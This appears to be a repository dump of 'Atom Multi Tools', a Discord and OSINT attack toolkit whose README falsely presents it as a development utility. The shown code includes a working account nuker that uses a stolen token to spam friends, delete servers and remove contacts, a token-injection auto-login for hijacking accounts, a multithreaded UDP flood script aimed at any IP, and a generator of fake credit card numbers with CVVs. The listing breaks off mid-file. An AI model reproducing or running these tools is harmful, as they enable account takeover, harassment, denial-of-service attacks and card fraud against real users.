├── LICENSE ├── README.md ├── fivem_scrapper ├── cfxid.sql └── proxy.sql ├── main.py ├── requirements.txt ├── run.bat └── utils ├── __pycache__ └── theme.cpython-311.pyc ├── account_nuker.py ├── auto_login.py ├── badge_changer.py ├── clear_dm.py ├── credit_card_scrapper.py ├── ddos_ip.py ├── discord ├── account_nuker.py ├── auto_login.py ├── badge_changer.py ├── clear_dm.py ├── discord_massreport.py ├── dos_voice.py ├── groupe_spammer.py ├── server_info.py ├── status_rotator.py ├── token_checker.py ├── token_decrypt.py ├── token_info.py ├── token_massdm.py ├── webhook_info.py └── webhook_spammer.py ├── discord_massreport.py ├── dos_ip.py ├── dos_voice.py ├── dox_tracker.py ├── email_info.py ├── fivem_scrapper.py ├── generator ├── ip_generator.py ├── nitro_generator.py └── token_generator.py ├── get_ip.py ├── groupe_spammer.py ├── iban_scrapper.py ├── instagram_user_info.py ├── ip_generator.py ├── ip_info.py ├── main2.py ├── nitro_generator.py ├── number_info.py ├── obfuscator.py ├── osint ├── ddos_ip.py ├── dox_tracker.py ├── email_info.py ├── instagram_user_info.py ├── ip_info.py ├── number_info.py ├── roblox_cookie_info.py ├── roblox_id_info.py ├── roblox_user_info.py ├── search_database.py └── username_tracker.py ├── other ├── get_ip.py └── obfuscator.py ├── roblox_cookie_info.py ├── roblox_id_info.py ├── roblox_user_info.py ├── scrapper ├── credit_card_scrapper.py ├── fivem_scrapper.py ├── iban_scrapper.py ├── scrapper_number.py ├── scrapper_proxy.py ├── site_phising.py └── website_scraper.py ├── scrapper_number.py ├── scrapper_proxy.py ├── search_database.py ├── server_info.py ├── site_phising.py ├── status_rotator.py ├── theme.py ├── theme.txt ├── theme_page.py ├── token_checker.py ├── token_decrypt.py ├── token_generator.py ├── token_info.py ├── token_massdm.py ├── tools.json ├── tools_info.py ├── username_tracker.py ├── webhook_info.py ├── webhook_spamer.py ├── webhook_spammer.py └── website_scraper.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Atom T00ls 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![image](https://cdn.discordapp.com/attachments/1263619795958370438/1271564702358442005/image.png?ex=66b7cc69&is=66b67ae9&hm=b3e85539ec372c27f08e85ac6fa4a0ea5b6950957dd19d08b68f99ced43f5e95&) 2 | 3 | # Atom Multi Tools 4 | 5 | Atom Multi Tools is a versatile and powerful toolkit designed to streamline development and project management. Whether you're a developer, system administrator, or tech enthusiast, this set of tools enhances your workflow with ease. 6 | 7 | ## Key Features 8 | 9 | - **Development Tools**: Essential utilities for coding, debugging, and optimizing your projects. 10 | - **Version Control Integration**: Seamless integration with Git for efficient repository management. 11 | - **Task Automation**: Scripts and commands to automate repetitive tasks, saving you time and effort. 12 | - **Cross-Platform Support**: Compatible with Windows, macOS, and Linux, ensuring a consistent experience across all systems. 13 | - **Customizability**: Highly configurable to suit your specific needs, with extensive customization options. 14 | 15 | 16 | ## Fonctionalité 17 | 18 | ```Account Nuker``` 19 | ```Badge Changer``` 20 | ```Clear Dm``` 21 | ```Group Spammer``` 22 | ```Server Info``` 23 | ```Status Rotator``` 24 | ```Token Checker``` 25 | ```Token Mass Dm``` 26 | ```Webhook Info``` 27 | ```Webhook Spammer``` 28 | ```Ip Information``` 29 | ```Email Information``` 30 | ```Number Information``` 31 | ```Get your Ip``` 32 | ```Roblox Id Information``` 33 | ```Token Information``` 34 | ```Roblox User Information``` 35 | ```Username Tracker``` 36 | ```Nitro Generator``` 37 | ```Tools Information``` 38 | ```Number Scrapper``` 39 | ```Website Scrapper``` 40 | ```IBAN Generator``` 41 | ```CC Generator``` 42 | ```Obfuscator``` 43 | ```Token Generator``` 44 | ```Dos Voice``` 45 | ```Dox Tracker``` 46 | ```Instagram User Information``` 47 | ```Theme Changer``` 48 | ```Ddos Ip``` 49 | ```Proxy Scrapper``` 50 | ```Ip Generator``` 51 | ```Site Phising``` 52 | ```Roblox Cookies Information``` 53 | ```Search In Database``` 54 | ```Token Decrypt``` 55 | ```Discord Mass Report``` 56 | 57 | ## Installation 58 | 59 | Pour pouvoir lancer correctement le tools il vous suffit d'ouvrir le et profiter du tools ! 60 | 61 | 62 | ```bash 63 | git clone https://github.com/AtomTools/Multi-tools.git 64 | cd Multi-tools 65 | ./install.sh 66 | ``` 67 | 68 | ## Support 69 | 70 | Pour nous contacter Voici le serveur : [Atom Tools](https://discord.gg/toolsfr) 71 | Et pour contactter le Owner : [Redwxll]() 72 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | whois 2 | instaloader 3 | discord.py==1.7.3 4 | emailrep 5 | requests 6 | phonenumbers 7 | pystyle 8 | cloudscraper 9 | fake_useragent 10 | uuid 11 | fade 12 | py-socket 13 | aiohttp 14 | selenium 15 | holehe 16 | deep_translator 17 | colorama 18 | instaloader 19 | blessed 20 | setuptools 21 | -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | title Atom Multi Tools 3 | 4 | python main.py 5 | 6 | pause -------------------------------------------------------------------------------- /utils/__pycache__/theme.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AtomTools/Multi-tools/f1d661773de49927bb590d08d1b4412365f96470/utils/__pycache__/theme.cpython-311.pyc -------------------------------------------------------------------------------- /utils/account_nuker.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import requests 5 | import os.path 6 | import threading 7 | import random 8 | from itertools import cycle 9 | 10 | from pystyle import Colors 11 | 12 | 13 | def main(): 14 | pass 15 | 16 | def setTitle(title): 17 | os.system(f"title {title}") 18 | 19 | def clear(): 20 | os.system('cls' if os.name == 'nt' else 'clear') 21 | 22 | 23 | def accnuke(): 24 | def nuke(usertoken, server_name, message_content): 25 | if threading.active_count() <= 100: 26 | t = threading.Thread(target=custom_seizure, args=(usertoken, )) 27 | t.start() 28 | 29 | headers = {'Authorization': usertoken} 30 | channel_ids = requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers).json() 31 | print(f"\nSent a message to all available friends") 32 | for channel in channel_ids: 33 | try: 34 | requests.post(f'https://discord.com/api/v9/channels/{channel['id']}/messages', 35 | headers=headers, 36 | data={"content": f"{message_content}"}) 37 | print(f"\tMessaged ID: {channel['id']}") 38 | except Exception as e: 39 | print(f"\tEncountered an error and ignored it: {e}") 40 | 41 | print(f"\nLeft all available guilds") 42 | guild_ids = requests.get("https://discord.com/api/v9/users/@me/guilds", headers=headers).json() 43 | for guild in guild_ids: 44 | try: 45 | requests.delete(f'https://discord.com/api/v9/users/@me/guilds/{guild['id']}', headers=headers) 46 | print(f"\tLeft guild: {guild['name']}") 47 | except Exception as e: 48 | print(f"\tEncountered an error and ignored it: {e}") 49 | 50 | print(f"\nDeleted all available guilds") 51 | for guild in guild_ids: 52 | try: 53 | requests.delete(f'https://discord.com/api/v9/guilds/{guild['id']}', headers=headers) 54 | print(f'\tDeleted guild: {guild['name']}') 55 | except Exception as e: 56 | print(f"\tEncountered an error and ignored it: {e}") 57 | 58 | print(f"\nRemoved all available friends") 59 | friend_ids = requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers).json() 60 | for friend in friend_ids: 61 | try: 62 | requests.delete(f'https://discord.com/api/v9/users/@me/relationships/{friend['id']}', headers=headers) 63 | print(f"\tRemoved friend: {friend['user']['username']}#{friend['user']['discriminator']}") 64 | except Exception as e: 65 | print(f"\tEncountered an error and ignored it: {e}") 66 | 67 | print(f"\nCreated all servers") 68 | for i in range(100): 69 | try: 70 | payload = {'name': f'{server_name}', 'region': 'europe', 'icon': None, 'channels': []} 71 | response = requests.post('https://discord.com/api/v9/guilds', headers=headers, json=payload) 72 | if response.status_code == 201: 73 | print(f"\tCreated {server_name} #{i}") 74 | else: 75 | print(f"\tFailed to create server {server_name} #{i}: {response.text}") 76 | except Exception as e: 77 | print(f"\tEncountered an error and ignored it: {e}") 78 | 79 | t.do_run = False 80 | settings = { 81 | 'theme': "light", 82 | 'locale': "ja", 83 | 'message_display_compact': False, 84 | 'inline_embed_media': False, 85 | 'inline_attachment_media': False, 86 | 'gif_auto_play': False, 87 | 'render_embeds': False, 88 | 'render_reactions': False, 89 | 'animate_emoji': False, 90 | 'convert_emoticons': False, 91 | 'enable_tts_command': False, 92 | 'explicit_content_filter': '0', 93 | 'status': "idle" 94 | } 95 | requests.patch("https://discord.com/api/v9/users/@me/settings", headers=headers, json=settings) 96 | user_data = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers).json() 97 | username = user_data['username'] + "#" + user_data['discriminator'] 98 | print(f"\nSuccessfully turned {username} into a troll") 99 | input(f"\nPress ENTER to exit") 100 | 101 | def custom_seizure(token): 102 | print(f'Starting seizure mode (Switching on/off Light/Dark mode)') 103 | t = threading.currentThread() 104 | while getattr(t, "do_run", True): 105 | modes = cycle(["light", "dark"]) 106 | settings = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} 107 | requests.patch("https://discord.com/api/v9/users/@me/settings", headers={'Authorization': usertoken}, json=settings) 108 | 109 | server_name = str(input(f'{Colors.red} Enter the name of servers to be created: ')) 110 | message_content = str(input(f'{Colors.red} Message to send to each friend: ')) 111 | response = requests.get('https://discord.com/api/v9/users/@me', headers={'Authorization': usertoken}) 112 | threads = 100 113 | 114 | if threading.active_count() < threads: 115 | threading.Thread(target=nuke, args=(usertoken, server_name, message_content)).start() 116 | return 117 | 118 | if __name__ == "__main__": 119 | clear() 120 | global usertoken 121 | usertoken = str(input(f"{Colors.red}Token: ")) 122 | accnuke() 123 | 124 | if __name__ == "__main__": 125 | main() 126 | -------------------------------------------------------------------------------- /utils/auto_login.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | from pystyle import Colors 4 | from selenium import webdriver 5 | 6 | def clear(): 7 | pass 8 | 9 | def autologintitle(): 10 | pass 11 | 12 | def setTitle(title): 13 | pass 14 | 15 | def main(): 16 | pass 17 | 18 | def autologin(): 19 | clear() 20 | 21 | entertoken = input(f"{Colors.red}Enter the token :") 22 | 23 | validityTest = requests.get('https://discordapp.com/api/v6/users/@me', headers={'Authorization': entertoken, 'Content-Type': 'application/json'}) 24 | if validityTest.status_code != 200: 25 | print(f"{Colors.red}\nInvalid token") 26 | input(f"{Colors.red}Press ENTER to exit") 27 | main() 28 | 29 | try: 30 | options = webdriver.ChromeOptions() 31 | options.add_argument("--disable-blink-features=AutomationControlled") 32 | driver = webdriver.Chrome(options=options) 33 | driver.maximize_window() 34 | driver.get('https://discord.com/login') 35 | 36 | js = ('function login(token) {' 37 | 'setInterval(() => {' 38 | 'document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`}, 50);' 39 | 'setTimeout(() => {location.reload();}, 500);}') 40 | 41 | time.sleep(3) 42 | driver.execute_script(js + f'login("{entertoken}")') 43 | time.sleep(10) 44 | 45 | if driver.current_url == 'https://discord.com/login': 46 | clear() 47 | autologintitle() 48 | print(f"{Colors.red}Connection Failed") 49 | driver.close() 50 | else: 51 | clear() 52 | autologintitle() 53 | print(f"{Colors.green}Connection Established") 54 | 55 | input(f"{Colors.red}Press ENTER to exit") 56 | main() 57 | 58 | except Exception as e: 59 | print(f"{Colors.red}A problem occurred: {e}") 60 | time.sleep(2) 61 | clear() 62 | main() 63 | 64 | if __name__ == "__main__": 65 | autologin() 66 | -------------------------------------------------------------------------------- /utils/badge_changer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from pystyle import Colors 3 | 4 | def clear(): 5 | pass 6 | 7 | def housechangertitle(): 8 | pass 9 | 10 | def setTitle(title): 11 | pass 12 | 13 | def main(): 14 | pass 15 | 16 | clear() 17 | housechangertitle() 18 | setTitle("HypeSquad Changer") 19 | 20 | print(f"{Colors.red}Which house do you want to be part of:\n\n01 Bravery\n02 Brilliance\n03 Balance\n\n{Colors.reset}") 21 | house = input(f"{Colors.red}Enter your House choice: {Colors.reset}") 22 | token = input(f"{Colors.red}Enter the token: {Colors.reset}") 23 | 24 | validityTest = requests.get('https://discordapp.com/api/v6/users/@me', headers={'Authorization': token, 'Content-Type': 'application/json'}) 25 | if validityTest.status_code != 200: 26 | print(f"{Colors.red}\nInvalid token{Colors.reset}") 27 | input(f"{Colors.red}\nPress ENTER to exit...{Colors.reset}") 28 | main() 29 | else: 30 | headers = { 31 | 'Authorization': token, 32 | 'Content-Type': 'application/json', 33 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36' 34 | } 35 | 36 | if house == "1": 37 | payload = {'house_id': 1} 38 | elif house == "2": 39 | payload = {'house_id': 2} 40 | elif house == "3": 41 | payload = {'house_id': 3} 42 | else: 43 | print(f"{Colors.red}Invalid Choice{Colors.reset}") 44 | input(f"{Colors.red}\nPress ENTER to exit...{Colors.reset}") 45 | main() 46 | 47 | r = requests.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10) 48 | if r.status_code == 204: 49 | print(f"{Colors.red}\nHypesquad House changed{Colors.reset}") 50 | input(f"{Colors.red}\nPress ENTER to exit...{Colors.reset}") 51 | main() 52 | else: 53 | print(f"{Colors.red}\nAn error occurred, please retry{Colors.reset}") 54 | input(f"{Colors.red}\nPress ENTER to exit{Colors.reset}") 55 | 56 | if __name__ == "__main__": 57 | main() 58 | -------------------------------------------------------------------------------- /utils/clear_dm.py: -------------------------------------------------------------------------------- 1 | import os 2 | import discord 3 | from discord.ext import commands 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def cleardmtitle(): 10 | print(f"{Colors.red}Clear DM Tool{Colors.reset}") 11 | 12 | def setTitle(title): 13 | os.system(f"title {title}") 14 | 15 | def main(): 16 | pass 17 | 18 | setTitle("Clear DM") 19 | clear() 20 | cleardmtitle() 21 | 22 | token = input(f"{Colors.red}Your Account Token: {Colors.reset}") 23 | print(f"{Colors.red}Write \"!clear\" in one of your DMs to delete your messages{Colors.reset}") 24 | 25 | global bot 26 | bot = commands.Bot(command_prefix="!", self_bot=True) 27 | bot.remove_command("help") 28 | 29 | @bot.command() 30 | async def clear(ctx, limit: int=None): 31 | passed = 0 32 | failed = 0 33 | async for msg in ctx.message.channel.history(limit=limit): 34 | if msg.author.id == bot.user.id: 35 | try: 36 | await msg.delete() 37 | passed += 1 38 | except Exception as e: 39 | failed += 1 40 | print(f"{Colors.red}Failed to delete message: {e}{Colors.reset}") 41 | 42 | print(f"{Colors.red}\nRemoved {passed} messages with {failed} fails{Colors.reset}") 43 | input(f"{Colors.red}\nPress ENTER to exit{Colors.reset}") 44 | main() 45 | 46 | bot.run(token, bot=False) 47 | 48 | if __name__ == "__main__": 49 | main() 50 | -------------------------------------------------------------------------------- /utils/credit_card_scrapper.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import os 4 | 5 | def generate_random_credit_card(brand): 6 | if brand == "Visa": 7 | card_number = '4' + ''.join(random.choice(string.digits) for _ in range(15)) 8 | elif brand == "MasterCard": 9 | card_number = '5' + ''.join(random.choice(string.digits) for _ in range(15)) 10 | return card_number 11 | 12 | def generate_random_expiry_date(): 13 | month = random.randint(1, 12) 14 | year = random.randint(2025, 2030) 15 | return f"{month:02}/{year}" 16 | 17 | def generate_random_cvv(): 18 | return ''.join(random.choice(string.digits) for _ in range(3)) 19 | 20 | def luhn(n): 21 | r = [int(ch) for ch in str(n)][::-1] 22 | return (sum(r[0::2]) + sum(sum(divmod(d*2, 10)) for d in r[1::2])) % 10 == 0 23 | 24 | def main(): 25 | os.system('cls' if os.name == 'nt' else 'clear') 26 | 27 | folder_name = "credit_card_data" 28 | if not os.path.exists(folder_name): 29 | os.makedirs(folder_name) 30 | 31 | brands = ["Visa", "MasterCard"] 32 | 33 | valid_file_path = os.path.join(folder_name, "valid_credit_cards.txt") 34 | invalid_file_path = os.path.join(folder_name, "invalid_credit_cards.txt") 35 | 36 | with open(valid_file_path, "a") as valid_file, open(invalid_file_path, "a") as invalid_file: 37 | try: 38 | while True: 39 | brand = random.choice(brands) 40 | card_number = generate_random_credit_card(brand) 41 | expiry_date = generate_random_expiry_date() 42 | cvv = generate_random_cvv() 43 | is_valid = luhn(card_number) 44 | status = "Valid" if is_valid else "Invalid" 45 | result = f"{status} - {card_number} ({brand}) - Exp: {expiry_date} - CVV: {cvv}\n" 46 | 47 | if is_valid: 48 | valid_file.write(result) 49 | else: 50 | invalid_file.write(result) 51 | 52 | print(result.strip()) 53 | 54 | except KeyboardInterrupt: 55 | print("\nExiting...") 56 | 57 | if __name__ == "__main__": 58 | main() 59 | -------------------------------------------------------------------------------- /utils/ddos_ip.py: -------------------------------------------------------------------------------- 1 | from socket import socket, AF_INET, SOCK_DGRAM 2 | from threading import Thread 3 | import os 4 | from random import randint 5 | from time import time, sleep 6 | from getpass import getpass as hinput 7 | from pystyle import Colors 8 | 9 | def clear_screen(): 10 | os.system('cls' if os.name == 'nt' else 'clear') 11 | 12 | class UDPFlooder: 13 | def __init__(self, ip, port, packet_size, thread_count): 14 | self.ip = ip 15 | self.port = port 16 | self.packet_size = packet_size 17 | self.thread_count = thread_count 18 | 19 | self.client = socket(AF_INET, SOCK_DGRAM) 20 | self.packet_data = b"x" * self.packet_size 21 | self.packet_length = len(self.packet_data) 22 | 23 | def start_flood(self): 24 | self.is_active = True 25 | self.sent_bytes = 0 26 | for _ in range(self.thread_count): 27 | Thread(target=self.send_packets).start() 28 | Thread(target=self.monitor_traffic).start() 29 | 30 | def stop_flood(self): 31 | self.is_active = False 32 | 33 | def send_packets(self): 34 | while self.is_active: 35 | try: 36 | self.client.sendto(self.packet_data, (self.ip, self._get_random_port())) 37 | self.sent_bytes += self.packet_length 38 | except Exception as e: 39 | print(f"{Colors.red}Error sending packet: {e}{Colors.reset}") 40 | 41 | def _get_random_port(self): 42 | return self.port if self.port else randint(1, 65535) 43 | 44 | def monitor_traffic(self): 45 | interval = 0.05 46 | start_time = time() 47 | total_bytes_sent = 0 48 | while self.is_active: 49 | sleep(interval) 50 | current_time = time() 51 | if current_time - start_time >= 1: 52 | speed_mbps = self.sent_bytes * 8 / (1024 * 1024) / (current_time - start_time) 53 | total_bytes_sent += self.sent_bytes 54 | print(f"{Colors.red}Speed: {speed_mbps:.2f} Mb/s - Total: {total_bytes_sent / (1024 * 1024 * 1024):.2f} Gb{Colors.reset}", end='\r') 55 | start_time = current_time 56 | self.sent_bytes = 0 57 | 58 | def get_input(prompt, default=None, cast_type=int): 59 | value = input(prompt) 60 | if value == '': 61 | return default 62 | try: 63 | return cast_type(value) 64 | except ValueError: 65 | print(f"{Colors.red}Invalid input. Please enter a valid {cast_type.__name__}.{Colors.reset}") 66 | return get_input(prompt, default, cast_type) 67 | 68 | def main(): 69 | clear_screen() 70 | ip = input(f"{Colors.red}Enter the target IP address: {Colors.reset}") 71 | if not ip.count('.') == 3: 72 | print(f"{Colors.red}Error! Please enter a valid IP address.{Colors.reset}") 73 | return 74 | 75 | port = get_input(f"{Colors.red}Enter the target port (or press enter to target all ports): {Colors.reset}", default=None, cast_type=int) 76 | packet_size = get_input(f"{Colors.red}Enter the packet size in bytes (default is 1250): {Colors.reset}", default=1250) 77 | thread_count = get_input(f"{Colors.red}Enter the number of threads (default is 100): {Colors.reset}", default=100) 78 | 79 | flooder = UDPFlooder(ip, port, packet_size, thread_count) 80 | 81 | try: 82 | flooder.start_flood() 83 | print(f"{Colors.red}Starting attack on {ip}:{port if port else 'all ports'}{Colors.reset}") 84 | while True: 85 | sleep(1000000) 86 | except KeyboardInterrupt: 87 | flooder.stop_flood() 88 | print(f"{Colors.red}Attack stopped. Total data sent: {flooder.sent_bytes / (1024 * 1024 * 1024):.2f} Gb{Colors.reset}") 89 | 90 | if __name__ == '__main__': 91 | main() 92 | -------------------------------------------------------------------------------- /utils/discord/account_nuker.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | import requests 5 | import threading 6 | import random 7 | from itertools import cycle 8 | 9 | def clear(): 10 | os.system('cls' if os.name == 'nt' else 'clear') 11 | 12 | def setTitle(title): 13 | os.system(f"title {title}") 14 | 15 | def custom_seizure(usertoken): 16 | print('Starting seizure mode (Switching on/off Light/Dark mode)') 17 | t = threading.currentThread() 18 | while getattr(t, "do_run", True): 19 | modes = cycle(["light", "dark"]) 20 | settings = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} 21 | try: 22 | requests.patch("https://discord.com/api/v9/users/@me/settings", 23 | headers={'Authorization': usertoken}, json=settings) 24 | except Exception as e: 25 | print(f"Error during seizure mode: {e}") 26 | 27 | def nuke(usertoken, server_name, message_content): 28 | headers = {'Authorization': usertoken} 29 | 30 | # Send messages to all friends 31 | try: 32 | channel_ids = requests.get("https://discord.com/api/v9/users/@me/channels", headers=headers).json() 33 | print("Sent a message to all available friends") 34 | for channel in channel_ids: 35 | try: 36 | requests.post(f'https://discord.com/api/v9/channels/{channel["id"]}/messages', 37 | headers=headers, data={"content": message_content}) 38 | print(f"\tMessaged ID: {channel['id']}") 39 | except Exception as e: 40 | print(f"\tEncountered an error and ignored it: {e}") 41 | except Exception as e: 42 | print(f"Error sending messages: {e}") 43 | 44 | # Leave all guilds 45 | try: 46 | guild_ids = requests.get("https://discord.com/api/v9/users/@me/guilds", headers=headers).json() 47 | print("Left all available guilds") 48 | for guild in guild_ids: 49 | try: 50 | requests.delete(f'https://discord.com/api/v9/users/@me/guilds/{guild["id"]}', headers=headers) 51 | print(f"\tLeft guild: {guild['name']}") 52 | except Exception as e: 53 | print(f"\tEncountered an error and ignored it: {e}") 54 | except Exception as e: 55 | print(f"Error leaving guilds: {e}") 56 | 57 | # Delete all guilds 58 | try: 59 | print("Deleted all available guilds") 60 | for guild in guild_ids: 61 | try: 62 | requests.delete(f'https://discord.com/api/v9/guilds/{guild["id"]}', headers=headers) 63 | print(f"\tDeleted guild: {guild['name']}") 64 | except Exception as e: 65 | print(f"\tEncountered an error and ignored it: {e}") 66 | except Exception as e: 67 | print(f"Error deleting guilds: {e}") 68 | 69 | # Remove all friends 70 | try: 71 | friend_ids = requests.get("https://discord.com/api/v9/users/@me/relationships", headers=headers).json() 72 | print("Removed all available friends") 73 | for friend in friend_ids: 74 | try: 75 | requests.delete(f'https://discord.com/api/v9/users/@me/relationships/{friend["id"]}', headers=headers) 76 | print(f"\tRemoved friend: {friend['user']['username']}#{friend['user']['discriminator']}") 77 | except Exception as e: 78 | print(f"\tEncountered an error and ignored it: {e}") 79 | except Exception as e: 80 | print(f"Error removing friends: {e}") 81 | 82 | # Create new servers 83 | try: 84 | print("Created all servers") 85 | for i in range(100): 86 | try: 87 | payload = {'name': server_name, 'region': 'europe'} 88 | response = requests.post('https://discord.com/api/v9/guilds', headers=headers, json=payload) 89 | if response.status_code == 201: 90 | print(f"\tCreated {server_name} #{i}") 91 | else: 92 | print(f"\tFailed to create server {server_name} #{i}: {response.text}") 93 | except Exception as e: 94 | print(f"\tEncountered an error and ignored it: {e}") 95 | except Exception as e: 96 | print(f"Error creating servers: {e}") 97 | 98 | # Update user settings 99 | try: 100 | settings = { 101 | 'theme': "light", 102 | 'locale': "ja", 103 | 'message_display_compact': False, 104 | 'inline_embed_media': False, 105 | 'inline_attachment_media': False, 106 | 'gif_auto_play': False, 107 | 'render_embeds': False, 108 | 'render_reactions': False, 109 | 'animate_emoji': False, 110 | 'convert_emoticons': False, 111 | 'enable_tts_command': False, 112 | 'explicit_content_filter': '0', 113 | 'status': "idle" 114 | } 115 | requests.patch("https://discord.com/api/v9/users/@me/settings", headers=headers, json=settings) 116 | user_data = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers).json() 117 | username = user_data['username'] + "#" + user_data['discriminator'] 118 | print(f"\nSuccessfully turned {username} into a troll") 119 | except Exception as e: 120 | print(f"Error updating user settings: {e}") 121 | 122 | input("\nPress ENTER to exit") 123 | 124 | def main(): 125 | clear() 126 | usertoken = input("Token: ") 127 | server_name = input("Enter the name of servers to be created: ") 128 | message_content = input("Message to send to each friend: ") 129 | 130 | if threading.active_count() <= 100: 131 | t = threading.Thread(target=custom_seizure, args=(usertoken,)) 132 | t.start() 133 | 134 | nuke(usertoken, server_name, message_content) 135 | 136 | if __name__ == "__main__": 137 | main() 138 | -------------------------------------------------------------------------------- /utils/discord/auto_login.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | from pystyle import Colors 4 | from selenium import webdriver 5 | 6 | def clear(): 7 | pass 8 | 9 | def autologintitle(): 10 | pass 11 | 12 | def setTitle(title): 13 | pass 14 | 15 | def main(): 16 | pass 17 | 18 | def autologin(): 19 | clear() 20 | 21 | entertoken = input(f"{Colors.red}Enter the token :") 22 | 23 | validityTest = requests.get('https://discordapp.com/api/v6/users/@me', headers={'Authorization': entertoken, 'Content-Type': 'application/json'}) 24 | if validityTest.status_code != 200: 25 | print(f"{Colors.red}\nInvalid token") 26 | input(f"{Colors.red}Press ENTER to exit") 27 | main() 28 | 29 | try: 30 | options = webdriver.ChromeOptions() 31 | options.add_argument("--disable-blink-features=AutomationControlled") 32 | driver = webdriver.Chrome(options=options) 33 | driver.maximize_window() 34 | driver.get('https://discord.com/login') 35 | 36 | js = ('function login(token) {' 37 | 'setInterval(() => {' 38 | 'document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`}, 50);' 39 | 'setTimeout(() => {location.reload();}, 500);}') 40 | 41 | time.sleep(3) 42 | driver.execute_script(js + f'login("{entertoken}")') 43 | time.sleep(10) 44 | 45 | if driver.current_url == 'https://discord.com/login': 46 | clear() 47 | autologintitle() 48 | print(f"{Colors.red}Connection Failed") 49 | driver.close() 50 | else: 51 | clear() 52 | autologintitle() 53 | print(f"{Colors.green}Connection Established") 54 | 55 | input(f"{Colors.red}Press ENTER to exit") 56 | main() 57 | 58 | except Exception as e: 59 | print(f"{Colors.red}A problem occurred: {e}") 60 | time.sleep(2) 61 | clear() 62 | main() 63 | 64 | if __name__ == "__main__": 65 | autologin() 66 | -------------------------------------------------------------------------------- /utils/discord/badge_changer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | def clear(): 4 | # Clear console screen (platform-independent) 5 | import os 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def setTitle(title): 9 | # Set the console window title (Windows-specific) 10 | import os 11 | if os.name == 'nt': 12 | os.system(f"title {title}") 13 | 14 | def main(): 15 | clear() 16 | setTitle("HypeSquad Changer") 17 | 18 | print("Which house do you want to be part of:\n") 19 | print("01 Bravery") 20 | print("02 Brilliance") 21 | print("03 Balance\n") 22 | 23 | house = input("Enter your House choice: ").strip() 24 | token = input("Enter the token: ").strip() 25 | 26 | validity_test = requests.get( 27 | 'https://discordapp.com/api/v6/users/@me', 28 | headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'} 29 | ) 30 | 31 | if validity_test.status_code != 200: 32 | print("\nInvalid token") 33 | input("\nPress ENTER to exit...") 34 | return 35 | 36 | headers = { 37 | 'Authorization': f'Bearer {token}', 38 | 'Content-Type': 'application/json', 39 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36' 40 | } 41 | 42 | house_ids = { 43 | "1": 1, 44 | "2": 2, 45 | "3": 3 46 | } 47 | 48 | if house not in house_ids: 49 | print("Invalid Choice") 50 | input("\nPress ENTER to exit...") 51 | return 52 | 53 | payload = {'house_id': house_ids[house]} 54 | 55 | r = requests.post( 56 | 'https://discordapp.com/api/v6/hypesquad/online', 57 | headers=headers, 58 | json=payload, 59 | timeout=10 60 | ) 61 | 62 | if r.status_code == 204: 63 | print("\nHypesquad House changed successfully") 64 | else: 65 | print("\nAn error occurred, please retry") 66 | 67 | input("\nPress ENTER to exit") 68 | 69 | if __name__ == "__main__": 70 | main() 71 | -------------------------------------------------------------------------------- /utils/discord/clear_dm.py: -------------------------------------------------------------------------------- 1 | import os 2 | import discord 3 | from discord.ext import commands 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def main(): 9 | pass 10 | 11 | def error_message(message): 12 | print(f"\033[91m{message}\033[0m") 13 | 14 | clear() 15 | 16 | 17 | token = input("Your Account Token: ").strip() 18 | print("Write \"!clear\" in one of your DMs to delete your messages") 19 | 20 | intents = discord.Intents.all() 21 | bot = 